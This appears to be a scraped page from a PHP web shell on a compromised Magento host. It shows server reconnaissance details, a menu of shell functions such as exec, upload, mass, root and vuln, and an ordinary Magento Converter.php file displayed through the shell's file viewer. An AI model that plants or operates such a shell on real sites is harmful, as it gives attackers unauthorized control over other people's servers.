Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 06:47:00
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/Mview/Config/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/Mview/Config/Converter.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Mview\Config; use Magento\Framework\Mview\View\SubscriptionInterface; class Converter implements \Magento\Framework\Config\ConverterInterface { /** * Convert dom node tree to array * * @param \DOMDocument $source * @return array * @throws \InvalidArgumentException */ public function convert($source) { $output = []; $xpath = new \DOMXPath($source); $views = $xpath->evaluate('/config/view'); /** @var $viewNode \DOMNode */ foreach ($views as $viewNode) { $data = []; $viewId = $this->getAttributeValue($viewNode, 'id'); $data['view_id'] = $viewId; $data['action_class'] = $this->getAttributeValue($viewNode, 'class'); $data['group'] = $this->getAttributeValue($viewNode, 'group'); $data['subscriptions'] = []; /** @var $childNode \DOMNode */ foreach ($viewNode->childNodes as $childNode) { if ($childNode->nodeType != XML_ELEMENT_NODE) { continue; } $data = $this->convertChild($childNode, $data); } $output[$viewId] = $data; } return $output; } /** * Get attribute value * * @param \DOMNode $input * @param string $attributeName * @param mixed $default * @return null|string */ protected function getAttributeValue(\DOMNode $input, $attributeName, $default = null) { $node = $input->attributes->getNamedItem($attributeName); return $node ? $node->nodeValue : $default; } /** * Convert child from dom to array * * @param \DOMNode $childNode * @param array $data * @return array */ protected function convertChild(\DOMNode $childNode, $data) { switch ($childNode->nodeName) { case 'subscriptions': /** @var $subscription \DOMNode */ foreach ($childNode->childNodes as $subscription) { if ($subscription->nodeType != XML_ELEMENT_NODE || $subscription->nodeName != 'table') { continue; } $name = $this->getAttributeValue($subscription, 'name'); $column = $this->getAttributeValue($subscription, 'entity_column'); $subscriptionModel = $this->getAttributeValue($subscription, 'subscription_model'); if (!empty($subscriptionModel) && !in_array( SubscriptionInterface::class, class_implements(ltrim($subscriptionModel, '\\')) ) ) { throw new \InvalidArgumentException( 'Subscription model must implement ' . SubscriptionInterface::class ); } $data['subscriptions'][$name] = [ 'name' => $name, 'column' => $column, 'subscription_model' => $subscriptionModel ]; } break; } return $data; } }